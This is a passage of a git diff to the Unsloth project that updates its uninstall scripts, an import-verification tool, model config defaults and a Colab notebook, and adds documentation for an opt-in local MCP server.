absent. + $defaultNode = if ($defaultUnslothHome) { Join-Path $defaultUnslothHome "node" } else { $null } # llama.cpp atomic-install staging root (install_llama_prebuilt.py .staging, # sibling of the install dir). Usually pruned after activate, but an interrupted # build can leave a ".staging-XXXX" tree; removing it lets the empty-dir @@ -310,7 +362,7 @@ function Uninstall-UnslothStudio { _StopStudioProcesses -KnownRoots $knownRoots # Also stop anything holding a handle on the exact paths we delete (llama-server, # the CLI shim, an mp-fork python with a venv DLL) so the dir delete isn't refused. - _StopProcessesLockingRoots -Roots (@($knownRoots) + @($defaultDataDir, $defaultLlamaCpp, $defaultCache)) + _StopProcessesLockingRoots -Roots (@($knownRoots) + @($defaultDataDir, $defaultLlamaCpp, $defaultCache, $defaultNode)) # ── Remove custom-root install trees ── _Step "Removing data and install directories..." @@ -320,7 +372,7 @@ function Uninstall-UnslothStudio { continue } if (-not (_IsStudioRoot $r)) { - _Substep "refusing to remove non-Studio path: $r" "Yellow" + _Substep "refusing to remove non-Unsloth path: $r" "Yellow" continue } _RemovePath $r @@ -328,12 +380,18 @@ function Uninstall-UnslothStudio { # Default install dir (always at %USERPROFILE%\.unsloth\studio when present). if ($defaultStudioHome) { _RemovePath $defaultStudioHome } # Default data dir. - if ($defaultDataDir) { _RemovePath $defaultDataDir } + if ($defaultDataDir) { _RemoveDataDirKeepingWslIcon $defaultDataDir } # Default-mode shared llama.cpp build + cache (siblings of studio under # ~/.unsloth). No-op in env/custom mode and when absent. if ($defaultLlamaCpp) { _RemovePath $defaultLlamaCpp } if ($defaultCache) { _RemovePath $defaultCache } + # Isolated Node.js runtime (sibling of studio under ~/.unsloth). No-op in env/ + # custom mode (nested under the custom root, removed with it) and when absent. + if ($defaultNode) { _RemovePath $defaultNode } if ($defaultStaging) { _RemovePath $defaultStaging } + # llama.cpp install lock (serializes the shared build); a stray lock keeps + # ~/.unsloth from being pruned below. No-op in env/custom mode and when absent. + if ($defaultUnslothHome) { _RemovePath (Join-Path $defaultUnslothHome ".llama.cpp.install.lock") } # Drop ~/.unsloth itself, but ONLY if now empty -- never nuke unrelated content. if ($defaultUnslothHome -and (Test-Path -LiteralPath $defaultUnslothHome) -and -not (Get-ChildItem -LiteralPath $defaultUnslothHome -Force -ErrorAction SilentlyContinue)) { @@ -362,6 +420,11 @@ function Uninstall-UnslothStudio { } } catch { } + # Re-sweep: the first pass may have left unsloth.ico locked by Explorer/SMEH for + # the native shortcut; that handle is now freed. (A surviving WSL shortcut still + # keeps the icon -- see the helper.) + if ($defaultDataDir -and (Test-Path -LiteralPath $defaultDataDir)) { _RemoveDataDirKeepingWslIcon $defaultDataDir } + # ── Clean user PATH and registry backup ── _Step "Cleaning user PATH and registry..." try { @@ -373,7 +436,7 @@ function Uninstall-UnslothStudio { $entries = $rawPath -split ';' $kept = New-Object System.Collections.ArrayList $removedAny = $false - # Only remove PATH entries that live inside a Studio root we + # Only remove PATH entries that live inside an Unsloth root we # actually own (default or env-mode). A literal substring # match on `unsloth_studio` would clobber unrelated user # virtualenvs that happen to share the name. diff --git a/scripts/uninstall.sh b/scripts/uninstall.sh index e97b28799b..957d2b7af2 100755 --- a/scripts/uninstall.sh +++ b/scripts/uninstall.sh @@ -12,7 +12,7 @@ set -e -# Stop a Studio server via its PID file (written by install.sh's _spawn_terminal). +# Stop an Unsloth server via its PID file (written by install.sh's _spawn_terminal). _kill_pid_file() { _pid_file="$1" [ -f "$_pid_file" ] || return 0 @@ -47,7 +47,7 @@ _pkill_studio() { command -v pkill >/dev/null 2>&1 || return 0 # Scope fallback patterns to the install roots we are removing so a - # different Studio install (different UNSLOTH_STUDIO_HOME) is not touched. + # different Unsloth install (different UNSLOTH_STUDIO_HOME) is not touched. _kill_roots="$HOME/.unsloth/studio" _roots_from_conf=$(_custom_studio_roots 2>/dev/null || true) [ -n "$_roots_from_conf" ] && _kill_roots="$_kill_roots @@ -89,7 +89,7 @@ _remove_path() { fi } -# Accept as Studio root only if Studio sentinels exist (matches install.sh's +# Accept as Unsloth root only if Unsloth sentinels exist (matches install.sh's # env-mode ownership guard at install.sh:1358-1361). A bare unsloth_studio/ # directory is NOT enough -- require the install-time owner marker so a user # directory that happens to contain a folder named "unsloth_studio" is safe. @@ -175,8 +175,8 @@ _custom_studio_roots() { _from_conf "$HOME/.local/share/unsloth/studio.conf" } -# Remove $HOME/.local/bin/unsloth only if it's a Studio-managed symlink. -# Studio's install.sh writes this as a symlink into the studio venv +# Remove $HOME/.local/bin/unsloth only if it's an Unsloth-managed symlink. +# Unsloth's install.sh writes this as a symlink into the studio venv # (install.sh: `ln -sfn "$VENV_DIR/bin/unsloth" "$_shim_path"`). A # pip-installed `unsloth` CLI is a regular file — leave it alone to avoid # wiping an unrelated install. @@ -206,7 +206,7 @@ _custom_studio_roots | while IFS= read -r _custom_root; do continue fi if ! _is_studio_root "$_custom_root"; then - echo " refusing to remove non-Studio path: $_custom_root" >&2 + echo " refusing to remove non-Unsloth path: $_custom_root" >&2 continue fi _remove_path "$_custom_root" @@ -217,10 +217,16 @@ _remove_path "$HOME/.unsloth/studio" # when absent. A user-set UNSLOTH_LLAMA_CPP_PATH is intentionally kept. _remove_path "$HOME/.unsloth/llama.cpp" _remove_path "$HOME/.unsloth/.cache" +# Isolated Node.js runtime (install_node_prebuilt.py), a sibling of studio in +# default mode. No-op in env/custom mode (nested under the custom root) and absent. +_remove_path "$HOME/.unsloth/node" # llama.cpp atomic-install staging root (install_llama_prebuilt.py .staging). # Normally pruned after activate, but an interrupted build can leave it behind; # removing it lets the rmdir below succeed. No-op in env/custom mode and absent. _remove_path "$HOME/.unsloth/.staging" +# llama.cpp install lock (serializes the shared build); a stray one keeps ~/.unsloth +# from being pruned below. No-op in env/custom mode and when absent. +_remove_path "$HOME/.unsloth/.llama.cpp.install.lock" # ROCm-on-WSL helper artifacts (librocdxg build clone + smoke-test venv). No-op # where they don't exist; removing them lets the rmdir below succeed. _remove_path "$HOME/.unsloth/librocdxg" @@ -228,7 +234,7 @@ _remove_path "$HOME/.unsloth/rocm-smoketest" # Drop ~/.unsloth only if now empty (rmdir refuses non-empty, so user content is kept). rmdir "$HOME/.unsloth" 2>/dev/null || true _remove_path "$HOME/.local/share/unsloth" -# CLI shim: only the symlink Studio created, never a pip-installed file. +# CLI shim: only the symlink Unsloth created, never a pip-installed file. _remove_cli_shim echo "Removing desktop shortcut and launcher lock..." @@ -298,11 +304,50 @@ case "$_os" in Remove-Item -LiteralPath $_.FullName -Force -ErrorAction SilentlyContinue } catch { } } + } + # Keep the shared icon while any Unsloth shortcut still uses it (native + # install or another WSL distro); drop it only with the last one. + $iconInUse = $false; + foreach ($d in $dirs) { + if (-not $d -or -not (Test-Path -LiteralPath $d)) { continue } + if (Get-ChildItem -LiteralPath $d -Filter "Unsloth Studio*.lnk" -ErrorAction SilentlyContinue) { $iconInUse = $true; break } + } + # Guard LOCALAPPDATA: empty on a service/SYSTEM account makes + # Join-Path throw, aborting the icon cleanup (mirror uninstall.ps1). + if (-not [string]::IsNullOrWhiteSpace($env:LOCALAPPDATA)) { + $iconDir = Join-Path $env:LOCALAPPDATA "Unsloth Studio"; + $ico = Join-Path $iconDir "unsloth.ico"; + if ((-not $iconInUse) -and (Test-Path -LiteralPath $ico)) { Remove-Item -LiteralPath $ico -Force -ErrorAction SilentlyContinue } + if ((Test-Path -LiteralPath $iconDir) -and -not (Get-ChildItem -LiteralPath $iconDir -Force -ErrorAction SilentlyContinue)) { Remove-Item -LiteralPath $iconDir -Recurse -Force -ErrorAction SilentlyContinue } }' >/dev/null 2>&1 || true fi - # Fallback when powershell.exe can't run (interop disabled): remove the - # WSL .lnk files via drvfs. The "Unsloth Studio (WSL..." name is - # WSL-specific, so a native install's "Unsloth Studio.lnk" never matches. + # Remove $1's shared unsloth.ico only if no Unsloth shortcut (native install + # or another WSL distro) still uses it, then drop the dir if empty. Reciprocal + # of uninstall.ps1's _RemoveDataDirKeepingWslIcon (keeps the icon for a + # surviving WSL shortcut when the native side is removed). + _drop_shared_icon_if_unused() { + _du="$1" + _icodir="$_du/AppData/Local/Unsloth Studio" + _icon_in_use=0 + for _sd in \ + "$_du/Desktop" \ + "$_du/OneDrive/Desktop" \ + "$_du"/OneDrive*/Desktop \ + "$_du/AppData/Roaming/Microsoft/Windows/Start Menu/Programs"; do + [ -d "$_sd" ] || continue + for _any in "$_sd"/"Unsloth Studio"*.lnk; do + [ -e "$_any" ] && { _icon_in_use=1; break; } + done + [ "$_icon_in_use" = "1" ] && break + done + if [ "$_icon_in_use" = "0" ]; then + [ -f "$_icodir/unsloth.ico" ] && rm -f "$_icodir/unsloth.ico" 2>/dev/null || true + fi + [ -d "$_icodir" ] && rmdir "$_icodir" 2>/dev/null || true + } + # Fallback when powershell.exe can't run (interop disabled): remove WSL .lnk + # files via drvfs. The "Unsloth Studio (WSL..." name is WSL-specific, so a + # native install's "Unsloth Studio.lnk" never matches. if [ "$_ps_ran" = "0" ]; then for _drive in /mnt/c /mnt/d /mnt/e; do [ -d "$_drive/Users" ] || continue @@ -325,6 +370,8 @@ case "$_os" in done fi done + # Drop the shared icon only when no shortcut still needs it. + _drop_shared_icon_if_unused "$_udir" done done fi diff --git a/scripts/verify_import_hoist.py b/scripts/verify_import_hoist.py index b8cb0573fe..22a21a2ebc 100644 --- a/scripts/verify_import_hoist.py +++ b/scripts/verify_import_hoist.py @@ -564,6 +564,12 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]] for n, tids in b["module_import_targets"].items(): if tids & after_used: continue # resolved -> fine + # `from __future__ import ...` is a compiler directive, not a runtime + # binding: the name (`annotations`, ...) is never loaded, so it can never + # "resolve" to a use. Skip it so a legitimately-added future import + # (e.g. `annotations` for lazy PEP 604 `X | None` on py3.9) is not flagged. + if all(t.startswith("from:__future__:") for t in tids): + continue newly_added = bool(tids - before_module_targets) was_used_before = bool(tids & before_used) if newly_added or was_used_before: @@ -581,9 +587,30 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]] ) # 3. TARGET-CHANGED (same scope+name resolves to a different import target) + # Only a *swap* is dangerous: a BEFORE target that is no longer reachable in + # AFTER means a reference was silently re-pointed. A pure superset growth + # (tbefore <= tafter) is the benign `import pkg.subA` + `import pkg.subB` + # case: both statements bind the same top-level name `pkg` to the same + # package object and only *add* submodule attributes (e.g. adding + # `import urllib.error` next to `import urllib.request`). Nothing the name + # resolved to before is lost, so no reference is re-pointed -- skip it. + # + # A deliberate *relocation* is also benign and must not block: when a name + # keeps its spelling but its import source is moved A -> B in THIS diff (the + # old `from A import x` is removed at module level and a new `from B import x` + # is added), the swap is intentional, not a silent re-point to a pre-existing + # different object. This mirrors the relocation tolerance already applied to + # TARGET-MISSING. The dangerous case -- the name now resolving to a target + # that already existed before (shadow/clash) -- is NOT exempted. + removed_module_targets = before_module_targets - after_module_targets for key, tafter in b["target_by_use"].items(): tbefore = a["target_by_use"].get(key) - if tbefore and tbefore != tafter: + if tbefore and tbefore != tafter and (tbefore - tafter): + lost = tbefore - tafter + gained = tafter - tbefore + relocated = lost <= removed_module_targets and gained <= added_module_targets + if relocated: + continue findings.append( ( "BLOCKER", diff --git a/studio/MCP.md b/studio/MCP.md new file mode 100644 index 0000000000..127a85a116 --- /dev/null +++ b/studio/MCP.md @@ -0,0 +1,34 @@ +# Unsloth Studio MCP server + +Unsloth can expose a local MCP server so an MCP client can inspect models and +GPU state, validate recipes, start or stop training, inspect recipe output, and +export a loaded model. + +The server is disabled by default. Enable it for a local Unsloth process with: + +```bash +UNSLOTH_STUDIO_ENABLE_MCP=1 \ +UNSLOTH_STUDIO_MCP_TOKEN='use-a-local-secret' \ +unsloth studio +``` + +The endpoint is `http://127.0.0.1:8888/mcp/` when Unsloth uses its default port +(a request to `/mcp` redirects to the canonical `/mcp/`). Use the actual Unsloth +port when it is configured differently. + +The high-impact tools are: + +- `studio_status` and `list_local_models` for discovery +- `get_training_status`, `start_training`, `stop_training`, and `list_training_runs` +- `validate_recipe`, `get_recipe_job_status`, and `get_recipe_job_dataset` +- `load_checkpoint` and `export_gguf` + +`start_training` accepts the same fields as the Unsloth `TrainingStartRequest`. +The request is validated by the existing Pydantic model before a subprocess is +started. Export paths use the existing Unsloth validation as well. + +The endpoint always requires `UNSLOTH_STUDIO_MCP_TOKEN` and checks an exact +Bearer token for both HTTP and WebSocket connections. Keep it on localhost +unless the deployment has an authenticated reverse proxy. The MCP endpoint is +intentionally opt-in because tools can consume GPU memory, write model +artifacts, and stop active work. \ No newline at end of file diff --git a/studio/Unsloth_Studio_Colab.ipynb b/studio/Unsloth_Studio_Colab.ipynb index 00eecfe51d..612d739806 100644 --- a/studio/Unsloth_Studio_Colab.ipynb +++ b/studio/Unsloth_Studio_Colab.ipynb @@ -1,134 +1,145 @@ { - "cells": [ - { - "cell_type": "markdown", - "metadata": { - "id": "view-in-github", - "colab_type": "text" - }, - "source": [ - "\"Open" - ] + "cells": [ + { + "cell_type": "markdown", + "metadata": { + "id": "view-in-github", + "colab_type": "text" + }, + "source": [ + "\"Open" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "6b87de59" + }, + "source": [ + "To run this, press \"*Runtime*\" and press \"*Run all*\" on a **free** Tesla T4 Google Colab instance!\n", + "

\n", + "\n", + "\n", + " Join Discord if you need help + ⭐ Star us on Github ⭐\n", + "
\n", + "\n", + "To install Unsloth Studio on your local device, follow [our guide](https://unsloth.ai/docs/new/unsloth-studio/install). Unsloth Studio is licensed [AGPL-3.0](https://github.com/unslothai/unsloth/blob/main/studio/LICENSE.AGPL-3.0).\n", + "\n", + "### Unsloth Studio\n", + "\n", + "Train and run open models with [**Unsloth Studio**](https://unsloth.ai/docs/new/unsloth-studio/start). NEW! Installation should now only take 2 mins!\n", + "\n", + "\n", + "We are actively working on making Unsloth Studio install on Colab T4 GPUs faster.\n", + "\n", + "[Features](https://unsloth.ai/docs/new/unsloth-studio#features) • [Quickstart](https://unsloth.ai/docs/new/unsloth-studio/start) • [Data Recipes](https://unsloth.ai/docs/new/unsloth-studio/data-recipe) • [Unsloth Chat](https://unsloth.ai/docs/new/unsloth-studio/chat) • [Export](https://unsloth.ai/docs/new/unsloth-studio/export)" + ], + "id": "6b87de59" + }, + { + "cell_type": "markdown", + "metadata": { + "id": "e4206349" + }, + "source": [ + "

" + ], + "id": "e4206349" + }, + { + "cell_type": "markdown", + "metadata": { + "id": "27da2957" + }, + "source": [ + "### Setup: Clone repo and run setup" + ], + "id": "27da2957" + }, + { + "cell_type": "code", + "metadata": { + "id": "27e68f91" + }, + "source": "!git clone --depth 1 --branch main https://github.com/unslothai/unsloth.git\n%cd /content/unsloth\n!chmod +x studio/setup.sh && ./studio/setup.sh --local", + "execution_count": null, + "outputs": [], + "id": "27e68f91" + }, + { + "cell_type": "markdown", + "metadata": { + "id": "3e1771a9" + }, + "source": [ + "### Start Unsloth Studio" + ], + "id": "3e1771a9" + }, + { + "cell_type": "code", + "metadata": { + "id": "277e431e" + }, + "source": [ + "import sys\n", + "sys.path.insert(0, \"/content/unsloth/studio/backend\")\n", + "from colab import start\n", + "\n", + "# On Colab, start() auto-opens a Cloudflare link and prints admin login credentials.\n", + "# Use the Cloudflare link above the ready card to open Studio (in-cell iframes often stay blank).\n", + "start()\n", + "\n", + "# To skip the Cloudflare tunnel and try the in-notebook proxy iframe only:\n", + "# start(cloudflare=False)" + ], + "execution_count": null, + "outputs": [], + "id": "277e431e" + }, + { + "cell_type": "markdown", + "metadata": { + "id": "f2b0c6a1" + }, + "source": [ + "And we're done! If you have any questions on Unsloth, we have a [Discord](https://discord.gg/unsloth) channel! If you find any bugs or want to keep updated with the latest LLM stuff, or need help, join projects etc, feel free to join our Discord!\n", + "\n", + "Some other resources:\n", + "1. Looking to use Unsloth locally? Read our [Installation Guide](https://unsloth.ai/docs/get-started/install) for details on installing Unsloth on Windows, Docker, AMD, Intel GPUs.\n", + "2. Learn how to do Reinforcement Learning with our [RL Guide and notebooks](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide).\n", + "3. Read our guides and notebooks for [Text-to-speech (TTS)](https://unsloth.ai/docs/basics/text-to-speech-tts-fine-tuning) and [vision](https://unsloth.ai/docs/basics/vision-fine-tuning) model support.\n", + "4. Explore our [LLM Tutorials Directory](https://unsloth.ai/docs/models/tutorials-how-to-fine-tune-and-run-llms) to find dedicated guides for each model.\n", + "5. Need help with Inference? Read our [Inference & Deployment page](https://unsloth.ai/docs/basics/inference-and-deployment) for details on using vLLM, llama.cpp, Ollama etc.\n", + "\n", + "
\n", + " \n", + " \n", + " \n", + "\n", + " Join Discord if you need help + ⭐️ Star us on Github ⭐️\n", + "\n", + " This notebook is licensed AGPL-3.0\n", + "
" + ], + "id": "f2b0c6a1" + } + ], + "metadata": { + "accelerator": "GPU", + "colab": { + "gpuType": "T4", + "provenance": [], + "include_colab_link": true + }, + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python" + } }, - { - "cell_type": "markdown", - "id": "6b87de59", - "metadata": { - "id": "6b87de59" - }, - "source": [ - "To run this, press \"*Runtime*\" and press \"*Run all*\" on a **free** Tesla T4 Google Colab instance!\n", - "
\n", - "\n", - "\n", - " Join Discord if you need help + ⭐ Star us on Github ⭐\n", - "
\n", - "\n", - "To install Unsloth Studio on your local device, follow [our guide](https://unsloth.ai/docs/new/unsloth-studio/install). Unsloth Studio is licensed [AGPL-3.0](https://github.com/unslothai/unsloth/blob/main/studio/LICENSE.AGPL-3.0).\n", - "\n", - "### Unsloth Studio\n", - "\n", - "Train and run open models with [**Unsloth Studio**](https://unsloth.ai/docs/new/unsloth-studio/start). NEW! Installation should now only take 2 mins!\n", - "\n", - "\n", - "We are actively working on making Unsloth Studio install on Colab T4 GPUs faster.\n", - "\n", - "[Features](https://unsloth.ai/docs/new/unsloth-studio#features) • [Quickstart](https://unsloth.ai/docs/new/unsloth-studio/start) • [Data Recipes](https://unsloth.ai/docs/new/unsloth-studio/data-recipe) • [Studio Chat](https://unsloth.ai/docs/new/unsloth-studio/chat) • [Export](https://unsloth.ai/docs/new/unsloth-studio/export)" - ] - }, - { - "cell_type": "markdown", - "id": "e4206349", - "metadata": { - "id": "e4206349" - }, - "source": [ - "

" - ] - }, - { - "cell_type": "markdown", - "id": "27da2957", - "metadata": { - "id": "27da2957" - }, - "source": [ - "### Setup: Clone repo and run setup" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "id": "27e68f91", - "metadata": { - "id": "27e68f91" - }, - "outputs": [], - "source": "!git clone --depth 1 --branch main https://github.com/unslothai/unsloth.git\n%cd /content/unsloth\n!chmod +x studio/setup.sh && ./studio/setup.sh --local" - }, - { - "cell_type": "markdown", - "id": "3e1771a9", - "metadata": { - "id": "3e1771a9" - }, - "source": [ - "### Start Unsloth Studio" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "id": "277e431e", - "metadata": { - "id": "277e431e" - }, - "outputs": [], - "source": "import sys\nsys.path.insert(0, \"/content/unsloth/studio/backend\")\nfrom colab import start\nstart()" - }, - { - "cell_type": "markdown", - "id": "f2b0c6a1", - "metadata": { - "id": "f2b0c6a1" - }, - "source": [ - "And we're done! If you have any questions on Unsloth, we have a [Discord](https://discord.gg/unsloth) channel! If you find any bugs or want to keep updated with the latest LLM stuff, or need help, join projects etc, feel free to join our Discord!\n", - "\n", - "Some other resources:\n", - "1. Looking to use Unsloth locally? Read our [Installation Guide](https://unsloth.ai/docs/get-started/install) for details on installing Unsloth on Windows, Docker, AMD, Intel GPUs.\n", - "2. Learn how to do Reinforcement Learning with our [RL Guide and notebooks](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide).\n", - "3. Read our guides and notebooks for [Text-to-speech (TTS)](https://unsloth.ai/docs/basics/text-to-speech-tts-fine-tuning) and [vision](https://unsloth.ai/docs/basics/vision-fine-tuning) model support.\n", - "4. Explore our [LLM Tutorials Directory](https://unsloth.ai/docs/models/tutorials-how-to-fine-tune-and-run-llms) to find dedicated guides for each model.\n", - "5. Need help with Inference? Read our [Inference & Deployment page](https://unsloth.ai/docs/basics/inference-and-deployment) for details on using vLLM, llama.cpp, Ollama etc.\n", - "\n", - "
\n", - " \n", - " \n", - " \n", - "\n", - " Join Discord if you need help + ⭐️ Star us on Github ⭐️\n", - "\n", - " This notebook is licensed AGPL-3.0\n", - "
" - ] - } - ], - "metadata": { - "accelerator": "GPU", - "colab": { - "gpuType": "T4", - "provenance": [], - "include_colab_link": true - }, - "kernelspec": { - "display_name": "Python 3", - "name": "python3" - }, - "language_info": { - "name": "python" - } - }, - "nbformat": 4, - "nbformat_minor": 5 + "nbformat": 4, + "nbformat_minor": 5 } \ No newline at end of file diff --git a/studio/backend/assets/chat_templates/gemma-4-edge.jinja b/studio/backend/assets/chat_templates/gemma-4-edge.jinja index 0266127233..74fa73ddd3 100644 --- a/studio/backend/assets/chat_templates/gemma-4-edge.jinja +++ b/studio/backend/assets/chat_templates/gemma-4-edge.jinja @@ -3,7 +3,7 @@ Source: google/gemma-4-31B-it HF discussion/PR #118 (adds the preserve_thinking flag plus null-rendering, string-arguments validation, balanced turn tags, empty messages handling, and OpenAI image_url/input_audio aliases). - Studio-local changes vs PR #118: + Unsloth-local changes vs PR #118: 1. preserve_thinking defaults to false (see SETUP block below). 2. The empty "<|channel>thought\n" block on enable_thinking=false is NOT emitted. Google ships a distinct template for E2B/E4B (google/gemma-4-E2B-it, diff --git a/studio/backend/assets/chat_templates/gemma-4.jinja b/studio/backend/assets/chat_templates/gemma-4.jinja index 65ab39df57..cc5f98065f 100644 --- a/studio/backend/assets/chat_templates/gemma-4.jinja +++ b/studio/backend/assets/chat_templates/gemma-4.jinja @@ -3,7 +3,7 @@ Source: google/gemma-4-31B-it HF discussion/PR #118 (adds the preserve_thinking flag plus null-rendering, string-arguments validation, balanced turn tags, empty messages handling, and OpenAI image_url/input_audio aliases). - Studio-local change: preserve_thinking defaults to false (see SETUP block below). + Unsloth-local change: preserve_thinking defaults to false (see SETUP block below). Applied to unsloth/gemma-4-*-GGUF models so the embedded GGUF template does not need re-downloading. Keep in sync with upstream if PR #118 changes. -#} diff --git a/studio/backend/assets/configs/full_finetune.yaml b/studio/backend/assets/configs/full_finetune.yaml index e398515f61..98c45dd851 100644 --- a/studio/backend/assets/configs/full_finetune.yaml +++ b/studio/backend/assets/configs/full_finetune.yaml @@ -30,6 +30,7 @@ lora: vision_all_linear: false use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/inference_defaults.json b/studio/backend/assets/configs/inference_defaults.json index 1b10b557e4..0633f80bbc 100644 --- a/studio/backend/assets/configs/inference_defaults.json +++ b/studio/backend/assets/configs/inference_defaults.json @@ -235,6 +235,13 @@ "min_p": 0.1, "repetition_penalty": 1.0 }, + "deepseek-v4": { + "temperature": 1.0, + "top_p": 1.0, + "top_k": -1, + "min_p": 0.0, + "repetition_penalty": 1.0 + }, "deepseek-r1": { "temperature": 0.6, "top_p": 0.95, @@ -277,6 +284,13 @@ "min_p": 0.01, "repetition_penalty": 1.0 }, + "minimax-m2.7": { + "temperature": 1.0, + "top_p": 0.95, + "top_k": 40, + "min_p": 0.01, + "repetition_penalty": 1.0 + }, "minimax-m2.5": { "temperature": 1.0, "top_p": 0.95, @@ -387,10 +401,10 @@ "phi-4", "phi-3", "mistral-nemo", "mistral-small", "mistral-large", "magistral", "ministral", "devstral", "pixtral", - "deepseek-r1", "deepseek-v3", "deepseek-ocr", + "deepseek-v4", "deepseek-r1", "deepseek-v3", "deepseek-ocr", "glm-5", "glm-4", "nemotron", - "minimax-m2.5", "minimax", + "minimax-m2.7", "minimax-m2.5", "minimax", "gpt-oss", "granite-4", "kimi-k2", "kimi", "lfm2", "smollm", "olmo", "falcon", "ernie", "seed", "grok", "mimo" diff --git a/studio/backend/assets/configs/lora_text.yaml b/studio/backend/assets/configs/lora_text.yaml index 9cb6b8c700..6c6a4d8839 100644 --- a/studio/backend/assets/configs/lora_text.yaml +++ b/studio/backend/assets/configs/lora_text.yaml @@ -30,6 +30,7 @@ lora: vision_all_linear: false use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/model_defaults/default.yaml b/studio/backend/assets/configs/model_defaults/default.yaml index 12566019b8..e569031a31 100644 --- a/studio/backend/assets/configs/model_defaults/default.yaml +++ b/studio/backend/assets/configs/model_defaults/default.yaml @@ -2,7 +2,6 @@ # Used for models without specific configurations training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -34,6 +33,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true @@ -48,7 +48,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.7 top_p: 0.95 top_k: -1 diff --git a/studio/backend/assets/configs/model_defaults/embedding/unsloth_Qwen3-Embedding-0.6B.yaml b/studio/backend/assets/configs/model_defaults/embedding/unsloth_Qwen3-Embedding-0.6B.yaml index f7b49c75b7..7ac1c83e04 100644 --- a/studio/backend/assets/configs/model_defaults/embedding/unsloth_Qwen3-Embedding-0.6B.yaml +++ b/studio/backend/assets/configs/model_defaults/embedding/unsloth_Qwen3-Embedding-0.6B.yaml @@ -34,6 +34,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/embedding/unsloth_all-MiniLM-L6-v2.yaml b/studio/backend/assets/configs/model_defaults/embedding/unsloth_all-MiniLM-L6-v2.yaml index be7da0f624..4cab9e9f96 100644 --- a/studio/backend/assets/configs/model_defaults/embedding/unsloth_all-MiniLM-L6-v2.yaml +++ b/studio/backend/assets/configs/model_defaults/embedding/unsloth_all-MiniLM-L6-v2.yaml @@ -30,6 +30,7 @@ lora: - "query" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/embedding/unsloth_bge-m3.yaml b/studio/backend/assets/configs/model_defaults/embedding/unsloth_bge-m3.yaml index d9e49bc0d5..c1f1c2a344 100644 --- a/studio/backend/assets/configs/model_defaults/embedding/unsloth_bge-m3.yaml +++ b/studio/backend/assets/configs/model_defaults/embedding/unsloth_bge-m3.yaml @@ -30,6 +30,7 @@ lora: - "value" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/embedding/unsloth_embeddinggemma-300m.yaml b/studio/backend/assets/configs/model_defaults/embedding/unsloth_embeddinggemma-300m.yaml index c3422d399f..7828feae81 100644 --- a/studio/backend/assets/configs/model_defaults/embedding/unsloth_embeddinggemma-300m.yaml +++ b/studio/backend/assets/configs/model_defaults/embedding/unsloth_embeddinggemma-300m.yaml @@ -33,6 +33,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/embedding/unsloth_gte-modernbert-base.yaml b/studio/backend/assets/configs/model_defaults/embedding/unsloth_gte-modernbert-base.yaml index 529a56a527..5a4028f15b 100644 --- a/studio/backend/assets/configs/model_defaults/embedding/unsloth_gte-modernbert-base.yaml +++ b/studio/backend/assets/configs/model_defaults/embedding/unsloth_gte-modernbert-base.yaml @@ -29,6 +29,7 @@ lora: - "Wqkv" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-21B-A3B-PT.yaml b/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-21B-A3B-PT.yaml index 52511c6eaf..7645d11c98 100644 --- a/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-21B-A3B-PT.yaml +++ b/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-21B-A3B-PT.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/ERNIE-4.5-21B-A3B-PT training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -35,6 +34,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -42,6 +42,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-VL-28B-A3B-PT.yaml b/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-VL-28B-A3B-PT.yaml index 524a723dc2..b746235f1f 100644 --- a/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-VL-28B-A3B-PT.yaml +++ b/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-VL-28B-A3B-PT.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth notebook training: - trust_remote_code: true max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -36,6 +35,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true @@ -49,7 +49,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: true temperature: 1.5 min_p: 0.1 diff --git a/studio/backend/assets/configs/model_defaults/falcon/tiiuae_Falcon-H1-0.5B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/falcon/tiiuae_Falcon-H1-0.5B-Instruct.yaml index fa7bd8c1ea..4964fea276 100644 --- a/studio/backend/assets/configs/model_defaults/falcon/tiiuae_Falcon-H1-0.5B-Instruct.yaml +++ 